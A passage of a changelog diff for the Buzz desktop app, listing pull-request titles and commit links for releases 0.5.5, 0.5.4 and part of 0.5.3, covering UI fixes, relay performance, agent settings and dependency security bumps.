([`4a2305170eef565bf1836e2859247e67c030f8af`](https://github.com/block/buzz/commit/4a2305170eef565bf1836e2859247e67c030f8af)) +- Revert "chore(release): release Buzz Desktop version 0.5.5" ([#4797](https://github.com/block/buzz/pull/4797)) ([`8faf09f9aedb4989e57c7b6c5bd1052a444a3370`](https://github.com/block/buzz/commit/8faf09f9aedb4989e57c7b6c5bd1052a444a3370)) +- feat: Buzz entity links — rich preview cards + in-app navigation for repos, PRs, and issues ([#4695](https://github.com/block/buzz/pull/4695)) ([`a1d78f2959b41c63f063ff818076d38c31071a47`](https://github.com/block/buzz/commit/a1d78f2959b41c63f063ff818076d38c31071a47)) +- fix(desktop): serialize tray channel actions for frontend ([#4762](https://github.com/block/buzz/pull/4762)) ([`4c665aeac366fca5097eaa1088fb87f3d248eac7`](https://github.com/block/buzz/commit/4c665aeac366fca5097eaa1088fb87f3d248eac7)) +- chore(release): release Buzz Desktop version 0.5.5 ([#4788](https://github.com/block/buzz/pull/4788)) ([`b948c54792c4933b4e003d2b227dc6e1f7c05fb4`](https://github.com/block/buzz/commit/b948c54792c4933b4e003d2b227dc6e1f7c05fb4)) +- feat(projects): support multiple repositories ([#4671](https://github.com/block/buzz/pull/4671)) ([`e30db7028f9f1dc7646b5814ed03b4c54a4d2a48`](https://github.com/block/buzz/commit/e30db7028f9f1dc7646b5814ed03b4c54a4d2a48)) +- fix(desktop): widen post-Enter timeouts in empty-edit-delete spec ([#4792](https://github.com/block/buzz/pull/4792)) ([`7bcfe7e0a141900d6e1e5bd0b3bce488b57d6453`](https://github.com/block/buzz/commit/7bcfe7e0a141900d6e1e5bd0b3bce488b57d6453)) +- fix(desktop): wait for terminal frame before splash ([#4781](https://github.com/block/buzz/pull/4781)) ([`65f7a100353b9a5302da2614f2d85edee1c136a2`](https://github.com/block/buzz/commit/65f7a100353b9a5302da2614f2d85edee1c136a2)) +- fix(desktop): integer-align custom reaction emoji ([#4779](https://github.com/block/buzz/pull/4779)) ([`8b8d86c5d26e2fa8cf419fdd8d0e56433f95d71a`](https://github.com/block/buzz/commit/8b8d86c5d26e2fa8cf419fdd8d0e56433f95d71a)) +- Polish Huddle voice controls ([#4694](https://github.com/block/buzz/pull/4694)) ([`ce3cf3cd2591f132f286fbc0a42a9e6699d0b08d`](https://github.com/block/buzz/commit/ce3cf3cd2591f132f286fbc0a42a9e6699d0b08d)) +- fix(local-archive): default both archive settings to enabled ([#4750](https://github.com/block/buzz/pull/4750)) ([`5179726737108a4a91076d262c30a53d4a7237e9`](https://github.com/block/buzz/commit/5179726737108a4a91076d262c30a53d4a7237e9)) +- fix(desktop): close reconnect gaps that previously required CMD+R ([#4737](https://github.com/block/buzz/pull/4737)) ([`e5efd047050f5e2a64fe6cd9e3faed1685b03f5c`](https://github.com/block/buzz/commit/e5efd047050f5e2a64fe6cd9e3faed1685b03f5c)) +- Dock Buzz Term within channel workspace ([#4724](https://github.com/block/buzz/pull/4724)) ([`cb4a73e17d0760eba6c3c01811da07e1d3a6b85e`](https://github.com/block/buzz/commit/cb4a73e17d0760eba6c3c01811da07e1d3a6b85e)) +- fix(agents): canonicalize stale persona harness pins ([#4631](https://github.com/block/buzz/pull/4631)) ([`0c33a8a55f0aa0763f8d65ad90dc8af56215d2e8`](https://github.com/block/buzz/commit/0c33a8a55f0aa0763f8d65ad90dc8af56215d2e8)) +- Refine community invite links ([#4734](https://github.com/block/buzz/pull/4734)) ([`e1287c92cc7ea9b52f10b80515b98cdd1c7f9a31`](https://github.com/block/buzz/commit/e1287c92cc7ea9b52f10b80515b98cdd1c7f9a31)) +- feat(desktop): persist sidebar observed-unread across webview reload ([#3976](https://github.com/block/buzz/pull/3976)) ([`0afeac8a7c173fd3ede8a22e27919e63161bf07c`](https://github.com/block/buzz/commit/0afeac8a7c173fd3ede8a22e27919e63161bf07c)) +- feat(desktop): surface config diff in restart-required badge ([#3637](https://github.com/block/buzz/pull/3637)) ([`f86dfc58838a272a5d0504ebf216a79b7288f027`](https://github.com/block/buzz/commit/f86dfc58838a272a5d0504ebf216a79b7288f027)) +- Polish sidebar unread hierarchy ([#4573](https://github.com/block/buzz/pull/4573)) ([`540b58920cef205b838da8be8442aae62bceaaa5`](https://github.com/block/buzz/commit/540b58920cef205b838da8be8442aae62bceaaa5)) +- fix(desktop): show cached display names on startup ([#3317](https://github.com/block/buzz/pull/3317)) ([`d0d4acd4fa02893ad2460b447d7e13da00506be3`](https://github.com/block/buzz/commit/d0d4acd4fa02893ad2460b447d7e13da00506be3)) +- Remove blur from Welcome composer guidance ([#4691](https://github.com/block/buzz/pull/4691)) ([`d0af845a1d489ab3fce6a73adbb0e82ebb4b0fa1`](https://github.com/block/buzz/commit/d0af845a1d489ab3fce6a73adbb0e82ebb4b0fa1)) +- Refine desktop timeline activity presentation ([#4582](https://github.com/block/buzz/pull/4582)) ([`a5bf3c5ae1e2f3b9a1783cd90b859d027fc92b9a`](https://github.com/block/buzz/commit/a5bf3c5ae1e2f3b9a1783cd90b859d027fc92b9a)) +- Defer desktop media uploads until send ([#4522](https://github.com/block/buzz/pull/4522)) ([`f18a9cb10688deaa3f618869170bfe9303c4be62`](https://github.com/block/buzz/commit/f18a9cb10688deaa3f618869170bfe9303c4be62)) +- fix(desktop): stop clipping focus ring on channel intro action cards (#2392) ([#4374](https://github.com/block/buzz/pull/4374)) ([`ddcf0aef9f1b3c81ec5a9b709dd62d2fcc773996`](https://github.com/block/buzz/commit/ddcf0aef9f1b3c81ec5a9b709dd62d2fcc773996)) +- Polish mobile inbox and media flows ([#4512](https://github.com/block/buzz/pull/4512)) ([`feccf4eabc23fdba94ce3537a194357ed17b197c`](https://github.com/block/buzz/commit/feccf4eabc23fdba94ce3537a194357ed17b197c)) +- feat: ship Buzz Term ([#4347](https://github.com/block/buzz/pull/4347)) ([`631b05c883f58e9533e9038b4669ebdfb1d9cf27`](https://github.com/block/buzz/commit/631b05c883f58e9533e9038b4669ebdfb1d9cf27)) +- feat(mobile): sync per-group channel sorting ([#4231](https://github.com/block/buzz/pull/4231)) ([`b42b093613edfb7138acb0961a0ad9218b39691a`](https://github.com/block/buzz/commit/b42b093613edfb7138acb0961a0ad9218b39691a)) +- feat(desktop): redesign the Huddle experience ([#4281](https://github.com/block/buzz/pull/4281)) ([`b29c8cdaa456307ecdd63e565de4beb14402128e`](https://github.com/block/buzz/commit/b29c8cdaa456307ecdd63e565de4beb14402128e)) +- feat(agents): model-tuning parity in global Agent Defaults editor ([#4578](https://github.com/block/buzz/pull/4578)) ([`985cdcc6eac33ccd77bc50c26e22c701d07eda4e`](https://github.com/block/buzz/commit/985cdcc6eac33ccd77bc50c26e22c701d07eda4e)) +- Polish Share Compute settings ([#3735](https://github.com/block/buzz/pull/3735)) ([`027a74a61c8643a1d1086d3e8307fad89d7735f7`](https://github.com/block/buzz/commit/027a74a61c8643a1d1086d3e8307fad89d7735f7)) +- fix(reactions): wrap long popover names ([#3834](https://github.com/block/buzz/pull/3834)) ([`79815978483ef0ab78f7159c0add3492da6457a1`](https://github.com/block/buzz/commit/79815978483ef0ab78f7159c0add3492da6457a1)) +- fix(desktop): clarify inherited agent parallelism ([#4010](https://github.com/block/buzz/pull/4010)) ([`d4a4570b9769743899d97480b3bf482860b51d9c`](https://github.com/block/buzz/commit/d4a4570b9769743899d97480b3bf482860b51d9c)) +- feat(desktop): make onboarding model defaults skippable ([#3968](https://github.com/block/buzz/pull/3968)) ([`5c98932c59ee5344e9e8c14525c51f3de16ad2c2`](https://github.com/block/buzz/commit/5c98932c59ee5344e9e8c14525c51f3de16ad2c2)) + +### Other repository changes + +- fix(ci): make desktop cache test version agnostic ([#4791](https://github.com/block/buzz/pull/4791)) ([`383d9e1eafd569b44b9c835200dba69ef7cec9dc`](https://github.com/block/buzz/commit/383d9e1eafd569b44b9c835200dba69ef7cec9dc)) +- fix(mobile): stop oversized read-state retry loop ([#4595](https://github.com/block/buzz/pull/4595)) ([`7bee84da8267605ada939c4f911d90f1b0ff1a11`](https://github.com/block/buzz/commit/7bee84da8267605ada939c4f911d90f1b0ff1a11)) +- perf(relay): index channel-id lookups and skip trace-only reads ([#4647](https://github.com/block/buzz/pull/4647)) ([`bc9e6528a7ba6007c5a25f6a0aca9c05d72e9d2c`](https://github.com/block/buzz/commit/bc9e6528a7ba6007c5a25f6a0aca9c05d72e9d2c)) +- docs(acp): explain per-channel session model in base prompt ([#4729](https://github.com/block/buzz/pull/4729)) ([`56003ebf98c22367fb6357f295494e26efbd8ae6`](https://github.com/block/buzz/commit/56003ebf98c22367fb6357f295494e26efbd8ae6)) +- docs(nip-am): normative amendment — cache SHOULD/MUST + pricingIdentity + consumer cost guidance ([#4632](https://github.com/block/buzz/pull/4632)) ([`0542bc8b955756a62b4133aa70f84441d93616ee`](https://github.com/block/buzz/commit/0542bc8b955756a62b4133aa70f84441d93616ee)) +- feat(mobile): add channel scroll navigation ([#4239](https://github.com/block/buzz/pull/4239)) ([`d5da74e4e078a9551b9ce9e47e77cf9ed5840596`](https://github.com/block/buzz/commit/d5da74e4e078a9551b9ce9e47e77cf9ed5840596)) +- feat(mobile): bring channel menus to desktop parity ([#3940](https://github.com/block/buzz/pull/3940)) ([`ede8d22dd5b336f146e0a6d760fd9dff78a42613`](https://github.com/block/buzz/commit/ede8d22dd5b336f146e0a6d760fd9dff78a42613)) +- ci: add guarded desktop release cache prewarm ([#4575](https://github.com/block/buzz/pull/4575)) ([`e1f6da7c42b0cac6f307023f0479e1e2c3a6d1c0`](https://github.com/block/buzz/commit/e1f6da7c42b0cac6f307023f0479e1e2c3a6d1c0)) +- fix(mobile): recover stale relay sessions ([#4372](https://github.com/block/buzz/pull/4372)) ([`ce56e34411d2940e70a6c0de653ffae36d334701`](https://github.com/block/buzz/commit/ce56e34411d2940e70a6c0de653ffae36d334701)) + +[Compare desktop-v0.5.4...desktop-v0.5.5](https://github.com/block/buzz/compare/desktop-v0.5.4...desktop-v0.5.5) + +## v0.5.4 + +### Desktop and shared changes + +- fix: report agent usage per provider round, not once per turn ([#4545](https://github.com/block/buzz/pull/4545)) ([`09c86c56e52651c017743268fc8ce708bb83b265`](https://github.com/block/buzz/commit/09c86c56e52651c017743268fc8ce708bb83b265)) +- fix(desktop): harden Windows installs against Defender block and orphaned Node ([#4382](https://github.com/block/buzz/pull/4382)) ([`80315ac1a68024c40b61f3a062c9cb6bf7d4efb5`](https://github.com/block/buzz/commit/80315ac1a68024c40b61f3a062c9cb6bf7d4efb5)) +- feat(desktop): improve channel template discovery ([#4549](https://github.com/block/buzz/pull/4549)) ([`c1b88af8d71d1cf6aaca517e92ce9e918cd0e8bd`](https://github.com/block/buzz/commit/c1b88af8d71d1cf6aaca517e92ce9e918cd0e8bd)) +- fix(desktop): save key backups to authorized path ([#4022](https://github.com/block/buzz/pull/4022)) ([`01c80aa9b3eaa569361966877994438ad84a280a`](https://github.com/block/buzz/commit/01c80aa9b3eaa569361966877994438ad84a280a)) +- Add channel activity hover menu ([#3935](https://github.com/block/buzz/pull/3935)) ([`b0c6d6f744e63ac88a1738f0e995680c163e1d13`](https://github.com/block/buzz/commit/b0c6d6f744e63ac88a1738f0e995680c163e1d13)) +- feat(desktop): show saved Run on settings when editing an agent ([#4539](https://github.com/block/buzz/pull/4539)) ([`f865c0054b0a400657126c9321b4d4cb7d9cc746`](https://github.com/block/buzz/commit/f865c0054b0a400657126c9321b4d4cb7d9cc746)) +- fix(desktop): disambiguate provider API key labels and annotate mint key ([#4406](https://github.com/block/buzz/pull/4406)) ([`5e0efb0bb95182f588390b55cc5affa09114c87e`](https://github.com/block/buzz/commit/5e0efb0bb95182f588390b55cc5affa09114c87e)) +- fix(desktop): make OpenAI key re-enterable after first save in card mint dialog ([#4140](https://github.com/block/buzz/pull/4140)) ([`f810a2f49e213d25119f2aa75b5b577655119b74`](https://github.com/block/buzz/commit/f810a2f49e213d25119f2aa75b5b577655119b74)) +- fix(config-bridge): add harness-definition env tier and fix equal-value model override ([#3580](https://github.com/block/buzz/pull/3580)) ([`be95a8a986d02319b27e8fb57aefe59e33a1eb13`](https://github.com/block/buzz/commit/be95a8a986d02319b27e8fb57aefe59e33a1eb13)) +- fix(desktop): stop the create-agent provider config probe from erasing keystrokes ([#4411](https://github.com/block/buzz/pull/4411)) ([`2c0ac2467437b30953a95e00f419143488bcfcc7`](https://github.com/block/buzz/commit/2c0ac2467437b30953a95e00f419143488bcfcc7)) +- feat(acp): deliver system prompt via _meta.systemPrompt for claude-agent-acp ([#4395](https://github.com/block/buzz/pull/4395)) ([`7ff5fc31895efe6265a379d01637c8ee301872e5`](https://github.com/block/buzz/commit/7ff5fc31895efe6265a379d01637c8ee301872e5)) +- fix(security): bump nostr crates for RUSTSEC-2026-0225..0232 + default sprig image to published digest ([#4392](https://github.com/block/buzz/pull/4392)) ([`318fbf896ec335bc7bcb40edafde0b6ebca53428`](https://github.com/block/buzz/commit/318fbf896ec335bc7bcb40edafde0b6ebca53428)) +- fix(desktop): back/forward via keyboard chords, mouse X1/X2 buttons, and swipe gestures ([#3778](https://github.com/block/buzz/pull/3778)) ([`f86cfc7369d4471f8939ed98be6f597b0a4b0bb2`](https://github.com/block/buzz/commit/f86cfc7369d4471f8939ed98be6f597b0a4b0bb2)) +- feat(k8s): Kubernetes backend plugin + desktop deploy path ([#4289](https://github.com/block/buzz/pull/4289)) ([`6530b58a61d4602d0a371100fedf80c5998b1e34`](https://github.com/block/buzz/commit/6530b58a61d4602d0a371100fedf80c5998b1e34)) +- feat(projects): add buzz projects CLI commands (NIP-MP kind:30621) ([#4020](https://github.com/block/buzz/pull/4020)) ([`b7bb15122e8a2053b545dc2210afc167f6c7a626`](https://github.com/block/buzz/commit/b7bb15122e8a2053b545dc2210afc167f6c7a626)) +- fix(desktop): keep thread-open affordance in archived channels ([#4012](https://github.com/block/buzz/pull/4012)) ([`8e81afa431deecd172f1ad6aab6f022f31cd812c`](https://github.com/block/buzz/commit/8e81afa431deecd172f1ad6aab6f022f31cd812c)) +- fix(desktop): point Oh My Pi preset at omp.sh ([#3516](https://github.com/block/buzz/pull/3516)) ([`3ade48d5030a8f7dbb9d3693f171e5544dcd8df1`](https://github.com/block/buzz/commit/3ade48d5030a8f7dbb9d3693f171e5544dcd8df1)) +- fix(mesh): stop restarting a busy or loading shared-compute node ([#3909](https://github.com/block/buzz/pull/3909)) ([`fa1a5b1a797870724f5c7e7e26931861a60f22cb`](https://github.com/block/buzz/commit/fa1a5b1a797870724f5c7e7e26931861a60f22cb)) +- fix(desktop): preserve first huddle speech ([#3962](https://github.com/block/buzz/pull/3962)) ([`45314fc504113aec7c54ae6520cfe5e1562aae40`](https://github.com/block/buzz/commit/45314fc504113aec7c54ae6520cfe5e1562aae40)) +- feat(desktop): Agent Trading Cards — mintable agent-snapshot card PNGs with optional NIP-44 lock ([#3278](https://github.com/block/buzz/pull/3278)) ([`eb049ddf815d48195e1713afe039d28c950d7933`](https://github.com/block/buzz/commit/eb049ddf815d48195e1713afe039d28c950d7933)) +- feat(relay): accept kind:30621 multi-repo projects at ingest ([#3171](https://github.com/block/buzz/pull/3171)) ([`cb9701cd30fb344bf134585634a09007f3155bfb`](https://github.com/block/buzz/commit/cb9701cd30fb344bf134585634a09007f3155bfb)) + +### Other repository changes + +- test(mobile): assert follow boundary semantics ([#4559](https://github.com/block/buzz/pull/4559)) ([`6de85fe31d781122756aecf954bae7d357a56b9a`](https://github.com/block/buzz/commit/6de85fe31d781122756aecf954bae7d357a56b9a)) +- docs(release): align desktop handoff instructions ([#3988](https://github.com/block/buzz/pull/3988)) ([`44fa1e8e3af30d561de981a211ff7a79bfa36493`](https://github.com/block/buzz/commit/44fa1e8e3af30d561de981a211ff7a79bfa36493)) +- Polish mobile composer and messaging UI ([#3918](https://github.com/block/buzz/pull/3918)) ([`857e63c4ddfb76f95ab40bb691e00544413f6b81`](https://github.com/block/buzz/commit/857e63c4ddfb76f95ab40bb691e00544413f6b81)) +- ci(linux): enable mesh-llm feature in Linux release and canary builds ([#4524](https://github.com/block/buzz/pull/4524)) ([`83a285f1b1a0be862d55781fad9c75ec8813886d`](https://github.com/block/buzz/commit/83a285f1b1a0be862d55781fad9c75ec8813886d)) +- fix(mobile): recover and pace live subscriptions ([#3053](https://github.com/block/buzz/pull/3053)) ([`a5dbdf5e61e4c512acd99c219c79c154ddb57295`](https://github.com/block/buzz/commit/a5dbdf5e61e4c512acd99c219c79c154ddb57295)) +- fix(git): allow deleting the default branch ([#4297](https://github.com/block/buzz/pull/4297)) ([`fc598f5f8d70728d11d0712b9fa8e3acc44ea4c3`](https://github.com/block/buzz/commit/fc598f5f8d70728d11d0712b9fa8e3acc44ea4c3)) +- docs: formal spec for remote agents and their management ([#3748](https://github.com/block/buzz/pull/3748)) ([`28ae6cd2174309529305724e455c7ca082f6fe4b`](https://github.com/block/buzz/commit/28ae6cd2174309529305724e455c7ca082f6fe4b)) +- fix(nip-oa): accept raw Nostr tag form in parse_json_array ([#4203](https://github.com/block/buzz/pull/4203)) ([`89bf03c05df795a3575b7abbe648be898ef13388`](https://github.com/block/buzz/commit/89bf03c05df795a3575b7abbe648be898ef13388)) +- perf(relay): serve relay-membership checks from the read replica ([#4124](https://github.com/block/buzz/pull/4124)) ([`ac4fa13b8e4d947071d57deb6918dcf12bf74961`](https://github.com/block/buzz/commit/ac4fa13b8e4d947071d57deb6918dcf12bf74961)) +- chore(deps): bump nostr-relay-pool for RUSTSEC-2026-0224 ([#4139](https://github.com/block/buzz/pull/4139)) ([`9d6726e5b387310975f5809473ce8372f6fde0dc`](https://github.com/block/buzz/commit/9d6726e5b387310975f5809473ce8372f6fde0dc)) +- docs(nostr): document #h requirement for live reaction subscriptions ([#3487](https://github.com/block/buzz/pull/3487)) ([`756dd7f65d6f2995e9188a0ffe54294057f8ef4f`](https://github.com/block/buzz/commit/756dd7f65d6f2995e9188a0ffe54294057f8ef4f)) +- docs(chart): fix ArgoCD example for native OCI sources (full artifact repoURL + path) ([#3426](https://github.com/block/buzz/pull/3426)) ([`36cf932ff0105a4cf574fc687deb4c1cb01bc0d1`](https://github.com/block/buzz/commit/36cf932ff0105a4cf574fc687deb4c1cb01bc0d1)) +- docs(readme): clarify which release asset to download per platform ([#3481](https://github.com/block/buzz/pull/3481)) ([`8d5afb606763fcaffd3af811be2106e41cc7347d`](https://github.com/block/buzz/commit/8d5afb606763fcaffd3af811be2106e41cc7347d)) +- fix(relay): allow open relays to set their NIP-11 workspace icon (kind:9033) ([#3998](https://github.com/block/buzz/pull/3998)) ([`5765fc74b77224f0207ddd4b41736a5ff18d333d`](https://github.com/block/buzz/commit/5765fc74b77224f0207ddd4b41736a5ff18d333d)) +- docs: note that addressable channel events scope by d, not h ([#4103](https://github.com/block/buzz/pull/4103)) ([`3d7712cc36e8da563cb1c121fc58bfc505d38496`](https://github.com/block/buzz/commit/3d7712cc36e8da563cb1c121fc58bfc505d38496)) +- docs: fix stale kind count, quick-start numbering, and empty Further Reading ([#2613](https://github.com/block/buzz/pull/2613)) ([`909a3b2c318b2ec477a3438a998a3b611f5b6d6a`](https://github.com/block/buzz/commit/909a3b2c318b2ec477a3438a998a3b611f5b6d6a)) +- docs: add one-click Railway deploy for a hosted relay ([#2733](https://github.com/block/buzz/pull/2733)) ([`19d57b0d46baa55814ac737041a36d0b405c9f64`](https://github.com/block/buzz/commit/19d57b0d46baa55814ac737041a36d0b405c9f64)) +- fix(buzz-acp): thread cache-read tokens into NIP-AM kind:44200 events ([#3999](https://github.com/block/buzz/pull/3999)) ([`b1b283cd4c7f926e12eeee8ae1f38c7471922b16`](https://github.com/block/buzz/commit/b1b283cd4c7f926e12eeee8ae1f38c7471922b16)) +- fix(release): preserve main in desktop PR body ([#3979](https://github.com/block/buzz/pull/3979)) ([`e5e5bac2a932b2b2e4eb6b559d5545a992c21b96`](https://github.com/block/buzz/commit/e5e5bac2a932b2b2e4eb6b559d5545a992c21b96)) + +[Compare desktop-v0.5.3...desktop-v0.5.4](https://github.com/block/buzz/compare/desktop-v0.5.3...desktop-v0.5.4) + +## v0.5.3 + +### Desktop and shared changes + +- Revert "chore(release): release Buzz Desktop version 0.5.3" ([#3960](https://github.com/block/buzz/pull/3960)) ([`bb34bc4d98fe4dabe847046103ac5e2859917ac5`](https://github.com/block/buzz/commit/bb34bc4d98fe4dabe847046103ac5e2859917ac5)) +- chore(release): release Buzz Desktop version 0.5.3 ([`d12b3d6a79d56a95fc99ce4fadd2d2235d5a3131`](https://github.com/block/buzz/commit/d12b3d6a79d56a95fc99ce4fadd2d2235d5a3131)) +- feat(desktop): import local Pocket voices ([#3259](https://github.com/block/buzz/pull/3259)) ([`c104eecfb38620de2c35c7e20a716f8658b5a6b1`](https://github.com/block/buzz/commit/c104eecfb38620de2c35c7e20a716f8658b5a6b1)) +- fix(desktop): open profiles from avatars ([#3751](https://github.com/block/buzz/pull/3751)) ([`39ce3dfc3cf2d12f0d6c64b4cd4293df86567663`](https://github.com/block/buzz/commit/39ce3dfc3cf2d12f0d6c64b4cd4293df86567663)) +- refactor(voice): extract reusable Pocket primitives + Pocket voice settings (relands #2467 + #3208) ([#3910](https://github.com/block/buzz/pull/3910)) ([`61ba9dfaa00852925058d1a024322fa53663a5bc`](https://github.com/block/buzz/commit/61ba9dfaa00852925058d1a024322fa53663a5bc)) +- feat(desktop): auto-enable huddle transcription for agents ([#3180](https://github.com/block/buzz/pull/3180)) ([`4632c55041c5d423d572a6f6411bb7b279c26f67`](https://github.com/block/buzz/commit/4632c55041c5d423d572a6f6411bb7b279c26f67)) +- feat(agent): optional reply guard reminds a silent turn to publish ([#3763](https://github.com/block/buzz/pull/3763)) ([`081f805d5ea25841ab885c7b67a568618a34aa59`](https://github.com/block/buzz/commit/081f805d5ea25841ab885c7b67a568618a34aa59)) +- feat(desktop): upgrade Pocket TTS model ([#3266](https://github.com/block/buzz/pull/3266)) ([`d48b0e0eec4d2958f90a3cafa9d974450abe8501`](https://github.com/block/buzz/commit/d48b0e0eec4d2958f90a3cafa9d974450abe8501)) +- feat(desktop): delete a message by clearing its edit to empty ([#3813](https://github.com/block/buzz/pull/3813)) ([`d88313f369acfa17973029787ee4c0bbea07fa51`](https://github.com/block/buzz/commit/d88313f369acfa17973029787ee4c0bbea07fa51)) +- feat(relay): raise hosted community limit to five ([#3829](https://github.com/block/buzz/pull/3829)) ([`10d5a26414dc90dc89fd27de74b21e105d4fa622`](https://github.com/block/buzz/commit/10d5a26414dc90dc89fd27de74b21e105d4fa622)) +- feat(desktop): locally stored NIP-49 encrypted key backup ([#2937](https://github.com/block/buzz/pull/2937)) ([`468647a51f858b29d27eaf9fd07bf90294f99d39`](https://github.com/block/buzz/commit/468647a51f858b29d27eaf9fd07bf90294f99d39)) +- fix(catalog): update Amp tagline ([#3806](https://github.com/block/buzz/pull/3806)) ([`f3e5e812677f6f14bffe16a7aa02642d56faca4b`](https://github.com/block/buzz/commit/f3e5e812677f6f14bffe16a7aa02642d56faca4b)) +- fix(desktop): channel topic and membership metadata cleanup ([#3642](https://github.com/block/buzz/pull/3642)) ([`9e8fcfda099652926b921bca7fcc9bfecab0e140`](https://github.com/block/buzz/commit/9e8fcfda099652926b921bca7fcc9bfecab0e140)) +- fix(desktop): align data deletion labels ([#2230](https://github.com/block/buzz/pull/2230)) ([`ede26863345a518ec46edd6d7692e0281883491b`](https://github.com/block/buzz/commit/ede26863345a518ec46edd6d7692e0281883491b)) +- fix(desktop): allow linux-only media items as dead code off-linux ([#3811](https://github.com/block/buzz/pull/3811)) ([`36571f4adcfdcf3714a17bd968c58c78bcbdd9ef`](https://github.com/block/buzz/commit/36571f4adcfdcf3714a17bd968c58c78bcbdd9ef)) +- fix(desktop): report authenticated relay recovery ([#3812](https://github.com/block/buzz/pull/3812)) ([`74cd5712191bffd84ae688d59bb8b451c6eec1b0`](https://github.com/block/buzz/commit/74cd5712191bffd84ae688d59bb8b451c6eec1b0)) +- fix(desktop): don't gate hover affordances on the hover media query ([#3657](https://github.com/block/buzz/pull/3657)) ([`29dfe4821ed577489a1879fd2a9bfe2a621a52b3`](https://github.com/block/buzz/commit/29dfe4821ed577489a1879fd2a9bfe2a621a52b3)) +- feat(relay): gate kind 30178 team-catalog reads behind the shared tag ([#3358](https://github.com/block/buzz/pull/3358)) ([`114d40d9d37f05eff83ee90347ed93fb3da512c5`](https://github.com/block/buzz/commit/114d40d9d37f05eff83ee90347ed93fb3da512c5)) +- test(desktop): click visible thread collapse guide ([#3800](https://github.com/block/buzz/pull/3800)) ([`b9e4ed616f39b812bc964e79c7a40223c4e93832`](https://github.com/block/buzz/commit/b9e4ed616f39b812bc964e79c7a40223c4e93832)) +- feat(desktop): raise the install ceiling and make installs observable ([#3368](https://github.com/block/buzz/pull/3368)) ([`d40a33290e75791aa7ecf3ce7a252b66c2e35966`](https://github.com/block/buzz/commit/d40a33290e75791aa7ecf3ce7a252b66c2e35966)) +- Add Devin as a preset ACP harness ([#3225](https://github.com/block/buzz/pull/3225)) ([`1b3ff96a5764303998fa629ff852e81f1a88d7ad`](https://github.com/block/buzz/commit/1b3ff96a5764303998fa629ff852e81f1a88d7ad)) +- feat(desktop): improve agent activity header ui ([#3321](https://github.com/block/buzz/pull/3321)) ([`4d47aa83455a9fd024121a596154cd311dca1d76`](https://github.com/block/buzz/commit/4d47aa83455a9fd024121a596154cd311dca1d76)) +- perf(presence): reduce heartbeat frequency ([#3783](https://github.com/block/buzz/pull/3783)) ([`bf139e8d0bdba10df9a5adbf16843140e0a78a59`](https://github.com/block/buzz/commit/bf139e8d0bdba10df9a5adbf16843140e0a78a59)) +- Tighten continuation message rows ([#3724](https://github.com/block/buzz/pull/3724)) ([`6e419b9f1c873549a7b40996970e0da7352adafb`](https://github.com/block/buzz/commit/6e419b9f1c873549a7b40996970e0da7352adafb)) +- Fix video reviews in thread replies ([#3719](https://github.com/block/buzz/pull/3719)) ([`f48f3f055fdd6030d3832f615f8c0d8e5a81261a`](https://github.com/block/buzz/commit/f48f3f055fdd6030d3832f615f8c0d8e5a81261a)) +- Make relay reconnect backoff authoritative ([#3774](https://github.com/block/buzz/pull/3774)) ([`cca8839034eb571a7ce943c3ace7f85a82330898`](https://github.com/block/buzz/commit/cca8839034eb571a7ce943c3ace7f85a82330898)) +- feat(desktop): add password-protected backups in settings ([#3701](https://github.com/block/buzz/pull/3701)) ([`bd0bff24bfd2cffa2b3b3a995f7628af5e460a5c`](https://github.com/block/buzz/commit/bd0bff24bfd2cffa2b3b3a995f7628af5e460a5c)) +- fix(desktop): reuse profiles when joining communities ([#2155](https://github.com/block/buzz/pull/2155)) ([`f44b5a2477f3979ae66e49153b11be36538cf859`](https://github.com/block/buzz/commit/f44b5a2477f3979ae66e49153b11be36538cf859)) +- fix(catalog): update Amp description ([#3758](https://github.com/block/buzz/pull/3758)) ([`61b96c9828d1dd54106b570d87a54edbc92bb9c4`](https://github.com/block/buzz/commit/61b96c9828d1dd54106b570d87a54edbc92bb9c4)) +- feat(catalog): resolve publisher display name in catalog detail pane ([#3640](https://github.com/block/buzz/pull/3640)) ([`02be413b823c356587e6e9f4d07f6cb06bb41c3c`](https://github.com/block/buzz/commit/02be413b823c356587e6e9f4d07f6cb06bb41c3c)) +- feat(mesh): upgrade embedded mesh to v0.74 and harden shared compute (split 1/2 of #3467) ([#3741](https://github.com/block/buzz/pull/3741)) ([`4933672eb4589e7208b312829ebddcd10dfa9dd3`](https://github.com/block/buzz/commit/4933672eb4589e7208b312829ebddcd10dfa9dd3)) +- Refine agent sharing dialog ([#3699](https://github.com/block/buzz/pull/3699)) ([`9a386a0defbf2b355ee17646c7c11817a535b85f`](https://github.com/block/buzz/commit/9a386a0defbf2b355ee17646c7c11817a535b85f)) +- desktop: enable getUserMedia in the Linux WebKitGTK webview ([#3607](https://github.com/block/buzz/pull/3607)) ([`c9aa55505c544c608ff71648bbfd21b235637f19`](https://github.com/block/buzz/commit/c9aa55505c544c608ff71648bbfd21b235637f19)) +- fix: align responsive agent views ([#3688](https://github.com/block/buzz/pull/3688)) ([`73589408db6fd96b87ac570935d414ecc4120f53`](https://github.com/block/buzz/commit/73589408db6fd96b87ac570935d414ecc4120f53)) +- Add macOS agent menu-bar menu ([#3565](https://github.com/block/buzz/pull/3565)) ([`d0a24bcb5210326da4c0b1e749ee3935621b329c`](https://github.com/block/buzz/commit/d0a24bcb5210326da4c0b1e749ee3935621b329c)) +- Fix pending message feedback ([#3543](https://github.com/block/buzz/pull/3543)) ([`4672ee55c4e4a7916c31bfeae5df2fb4384bed10`](https://github.com/block/buzz/commit/4672ee55c4e4a7916c31bfeae5df2fb4384bed10)) +- fix(desktop): remove remaining Projects panel fills ([#3742](https://github.com/block/buzz/pull/3742)) ([`c55e421a0629c74b9ffd96ee3ccde36f006196ed`](https://github.com/block/buzz/commit/c55e421a0629c74b9ffd96ee3ccde36f006196ed)) +- desktop: restore direct community member adds ([#3634](https://github.com/block/buzz/pull/3634)) ([`310df2ec33fbb075edf226ba18bf9a96d90ba81b`](https://github.com/block/buzz/commit/310df2ec33fbb075edf226ba18bf9a96d90ba81b)) +- fix(desktop): explain open agent access ([#2561](https://github.com/block/buzz/pull/2561)) ([`7fb008f9347b933b9a1da20a7afb070912b430e8`](https://github.com/block/buzz/commit/7fb008f9347b933b9a1da20a7afb070912b430e8)) +- fix(desktop): remove Projects overview card fills ([#3416](https://github.com/block/buzz/pull/3416)) ([`3b8567a05d4c40e667d061666feb7aa7bc38212d`](https://github.com/block/buzz/commit/3b8567a05d4c40e667d061666feb7aa7bc38212d)) +- fix(git): channel binding tooling + author remediation for unbound repos ([#3626](https://github.com/block/buzz/pull/3626)) 